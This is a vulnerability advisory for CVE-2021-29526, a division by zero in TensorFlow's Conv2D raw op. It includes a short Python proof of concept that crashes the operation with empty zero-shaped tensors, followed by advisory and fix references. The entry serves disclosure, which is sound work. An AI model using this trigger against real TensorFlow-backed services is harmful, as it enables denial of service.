CVE-2021-29526: Division by 0 in `Conv2D`
(updated )
An attacker can trigger a division by 0 in tf.raw_ops.Conv2D
:
import tensorflow as tf
input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
filter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
strides = [1, 1, 1, 1]
padding = "SAME"
tf.raw_ops.Conv2D(input=input, filter=filter, strides=strides, padding=padding)
References
- github.com/advisories/GHSA-4vf2-4xcg-65cx
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-454.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-652.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-163.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/b12aa1d44352de21d1a6faaf04172d8c2508b42b
- github.com/tensorflow/tensorflow/security/advisories/GHSA-4vf2-4xcg-65cx
- nvd.nist.gov/vuln/detail/CVE-2021-29526
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